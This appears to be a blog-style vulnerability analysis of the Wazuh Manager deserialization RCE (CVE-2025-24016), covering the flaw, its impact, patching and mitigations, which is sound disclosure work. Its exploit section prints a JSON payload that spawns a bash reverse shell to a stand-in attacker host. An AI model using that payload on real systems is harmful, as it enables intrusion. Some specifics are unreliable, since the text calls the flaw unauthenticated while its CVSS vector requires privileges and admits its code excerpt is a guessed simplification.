CVE-2025-24016

The Watchman Who Left the Gate Open: Wazuh RCE Analysis

Alon Barad
Alon Barad
Software Engineer

Jan 15, 2026·6 min read

Executive Summary (TL;DR)

Wazuh, the popular open-source SIEM, contains a fatal flaw in how it processes JSON data between cluster nodes. By sending a specially crafted request with an `__unhandled_exc__` key, an attacker can trick the server into instantiating arbitrary Python classes. This leads to full RCE as the `wazuh` user. The vulnerability is actively exploited by Mirai botnets. Patch immediately to version 4.9.1.

A critical Remote Code Execution (RCE) vulnerability in Wazuh Manager allows unauthenticated attackers to execute arbitrary commands via the Distributed API. This flaw arises from insecure deserialization logic where the system blindly trusts user-supplied data to reconstruct Python exceptions.

The Hook: The Call is Coming from Inside the House

Wazuh is the self-proclaimed 'Open Source Security Platform.' It's the thing you install to catch the bad guys. It monitors file integrity, detects rootkits, and aggregates logs. It is the all-seeing eye of your infrastructure. So, naturally, it’s arguably the most ironic place to find a trivial Remote Code Execution vulnerability.

Here is the scenario: You have locked down your network. You have firewalls, IDS, and endpoints hardened to the teeth. But sitting right in the middle of this fortress is the Wazuh Manager, listening on port 55000 for API requests.

This vulnerability (CVE-2025-24016) isn't a complex heap overflow or a race condition that requires planetary alignment. It is a classic logic error in data handling. The developers wanted a way to pass Python exception objects between nodes in a Wazuh cluster. Instead of passing a safe string message, they decided to serialize the exception object itself and reconstruct it on the other end. That decision turned the security monitor into a remote shell for anyone who asked nicely.

The Flaw: Python's Pickles vs. JSON's Hooks

Usually, when we talk about Python deserialization vulnerabilities, we are talking about pickle. Pickling is notoriously unsafe because it is essentially a stack-based virtual machine that can execute arbitrary opcodes. But json is safe, right? It's just text! Well, not if you try to make it do things it wasn't meant to do.

The Python json library allows for an object_hook. This is a function that runs for every dictionary parsed from the JSON string. It allows developers to convert raw dictionaries into custom Python objects automatically. Wazuh implemented a custom hook called as_wazuh_object in framework/wazuh/core/cluster/common.py.

The flaw is simple: this function trusts the input. It looks for a specific key, __unhandled_exc__, which is meant to signal that an error occurred on a remote node. Inside this key, it expects a __class__ name and __args__. The code takes these strings and essentially says, 'Oh, you want an object of type X with arguments Y? Coming right up!' It then instantiates that class. If you control the class and the arguments, you control the execution flow.

The Code: A Lesson in what NOT to do

Let's look at the logic that caused this mess. The code resides in framework/wazuh/core/cluster/common.py. The function as_wazuh_object acts as a gatekeeper that forgot to check IDs.

In the vulnerable version, the logic (simplified for clarity) looked something like this:

# Vulnerable Logic Representation
def as_wazuh_object(dct):
    if '__unhandled_exc__' in dct:
        exc_data = dct['__unhandled_exc__']
        # DANGER: Dynamic instantiation of arbitrary classes
        cls = get_class_by_name(exc_data['__class__'])
        args = exc_data['__args__']
        return cls(*args)
    return dct

The actual implementation was even messier, involving eval() or similar dynamic evaluation constructs to reconstruct complex objects. This is the programming equivalent of handing a loaded gun to a stranger and asking them to hold it for a second.

The Fix: In version 4.9.1 (PR #25705), the developers replaced this dynamic madness with ast.literal_eval, which safely evaluates a string containing a Python literal (strings, numbers, tuples, lists, dicts, booleans, and None) but refuses to execute function calls or complex logic. They also added strict validation to ensure only expected data structures are processed.

The Exploit: Weaponizing the API

To exploit this, an attacker targets the Distributed API (DAPI). This API is used for communication between the Wazuh manager and other nodes (or the UI). The attacker sends a JSON payload where a nested dictionary contains the magic trigger key.

A typical attack chain looks like this:

  1. Recon: Identify a Wazuh Manager exposing the API port (default 55000).
  2. Payload Construction: Create a JSON object that defines a malicious class instantiation. While os.system is the classic example, attackers might use other gadgets available in the memory space to achieve execution or write files.
{
  "parameters": {
    "filter_node": {
      "__unhandled_exc__": {
        "__class__": "subprocess.Popen",
        "__args__": ["/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'", {"shell": true}]
      }
    }
  }
}

[!NOTE] Real-world Context: In the wild, Mirai botnets are using this to install DDoS agents. They aren't being subtle. They are blasting the API with payloads designed to download and execute shell scripts immediately.

The beauty (or horror) of this exploit is that it returns the result of the execution in the context of the exception handling, or simply executes the side effect (the reverse shell) before the server realizes it processed an invalid 'exception'.

The Impact: Total System Compromise

This is a CVSS 9.9 for a reason. The only reason it isn't a 10.0 is likely due to the slight complexity of the API structure or requiring network access to the API port (which should be firewalled, but often isn't).

Consequences:

  1. RCE as wazuh user: The attacker runs code as the user running the service. This is usually a dedicated user, but local privilege escalation is often trivial on Linux systems once you have a shell.
  2. Data Exfiltration: The attacker can read all the logs Wazuh has collected. Passwords, PII, infrastructure details—it's all there.
  3. Lateral Movement: Since the Manager controls the agents, a sophisticated attacker could potentially push malicious configurations or commands to the thousands of agents monitored by this server, turning the defense system into a massive botnet distribution network.

This is not just a breach; it is an inversion of control. The security tool becomes the primary threat vector.

The Fix: Patch or Perish

If you are running Wazuh < 4.9.1, you are vulnerable. Stop reading and go patch. The official fix effectively neutralizes the object hook's ability to run arbitrary code.

If you cannot patch immediately:

  1. Firewall that API: There is zero reason for your Wazuh API port (55000) to be exposed to the public internet or the general employee network. Whitelist only the Kibana/Dashboard IP and other cluster nodes.
  2. Monitor Logs: Look for 500 Internal Server Errors on the API that contain weird Python tracebacks, specifically NameError or ImportError originating from common.py. This indicates someone is probing the deserializer.

Remember: Security tools are software too. They are written by humans, and humans make mistakes. Don't blindly trust your security appliance just because it has a shield in the logo.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H
EPSS Probability
93.40%
Top 0% most exploited
5,000
via Shodan

Affected Systems

Wazuh Manager (4.4.0 - 4.9.0)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Wazuh Manager
Wazuh
>= 4.4.0, < 4.9.14.9.1
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
CVSS v3.19.9 (Critical)
Attack VectorNetwork (API)
Privileges RequiredNone / Low
EPSS Score0.93 (93.40%)
Exploit StatusActive / Weaponized
KEV ListedYes (2025-06-10)
CWE-502
Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Vulnerability Timeline

Vulnerability Disclosed / CVE Assigned
2025-02-10
Initial Exploitation in Wild Observed
2025-03-01
Patch Released (v4.9.1)
2025-05-21
Added to CISA KEV
2025-06-10

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.